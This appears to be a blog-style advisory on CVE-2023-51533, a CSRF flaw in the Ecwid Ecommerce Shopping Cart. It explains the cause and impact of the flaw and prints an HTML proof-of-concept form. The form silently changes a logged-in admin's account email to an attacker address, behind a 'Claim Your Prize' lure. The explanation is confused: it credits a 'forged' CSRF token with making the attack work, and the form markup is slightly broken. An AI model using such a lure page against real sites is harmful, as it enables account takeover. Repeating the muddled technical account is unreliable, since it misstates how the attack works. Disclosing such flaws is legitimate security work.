Cross-Site Request Forgery (CSRF) vulnerabilities are a type of security risk that allows attackers to execute unwanted actions on a web application while an unsuspecting user is logged in. Recently, a CSRF vulnerability has been discovered in Ecwid Ecommerce shopping cart software, which could potentially put user accounts and sensitive data at risk.

This post will discuss the details of the CVE-2023-51533 vulnerability, including the cause, implications, and the code snippet that exploits this vulnerability. Links to Original references will be provided as well.

Details of the Vulnerability

The CVE-2023-51533 vulnerability affects versions n/a through 6.12.4 of Ecwid Ecommerce Shopping Cart. This CSRF vulnerability happens when the application does not correctly verify the origin of incoming HTTP requests, allowing an attacker to send manipulated requests from an external website.

The attacker can take advantage of the CSRF vulnerability by tricking a logged-in user (could be an administrator) to visit a malicious webpage containing the exploit code that triggers the execution of a forged HTTP request on the Ecwid Ecommerce application.

Implications of the Vulnerability

The impact of the CVE-2023-51533 vulnerability could potentially lead to unauthorized transactions, modifications of account settings, or even complete takeover of affected accounts. Depending on the privileges of the compromised user, more severe consequences might occur, such as data theft or unauthorized access to the application’s administrative panel.

An example of a code snippet that exploits the CSRF vulnerability in CVE-2023-51533 is

<!DOCTYPE html>
<html>
  <body>
    <h1>Malicious CSRF Attack</h1>
    <form method="POST" action="http://victim.ecwid.com/admin/settings">;
      <input type="hidden" name="csrf_parameter" value="forged_csrf_token" />
      <input type="hidden" name="account_email" value="attacker@example.com" />
      <input type="submit" value="Click Here to Claim Your Prize" />
    </form>
  </body>
</html>

The above HTML code constructs a form that sends an HTTP POST request to the targeted Ecwid Ecommerce's settings URL. The malicious CSRF token is placed in the "csrf_parameter," allowing the attacker to modify the account email address of the logged-in user upon form submission.

For more information about the CVE-2023-51533 vulnerability, kindly refer to the following sources

- CVE Entry
- Ecwid Ecommerce

Conclusion

Understanding the impact of vulnerabilities like CVE-2023-51533 in the Ecwid Ecommerce Shopping Cart is crucial for ensuring a secure online shopping environment. Website administrators and developers must stay aware of such vulnerabilities and ensure that proper security measures such as valid CSRF tokens are implemented to protect their applications and the users.

Timeline

Published on: 02/28/2024 19:15:09 UTC
Last modified on: 02/29/2024 13:49:47 UTC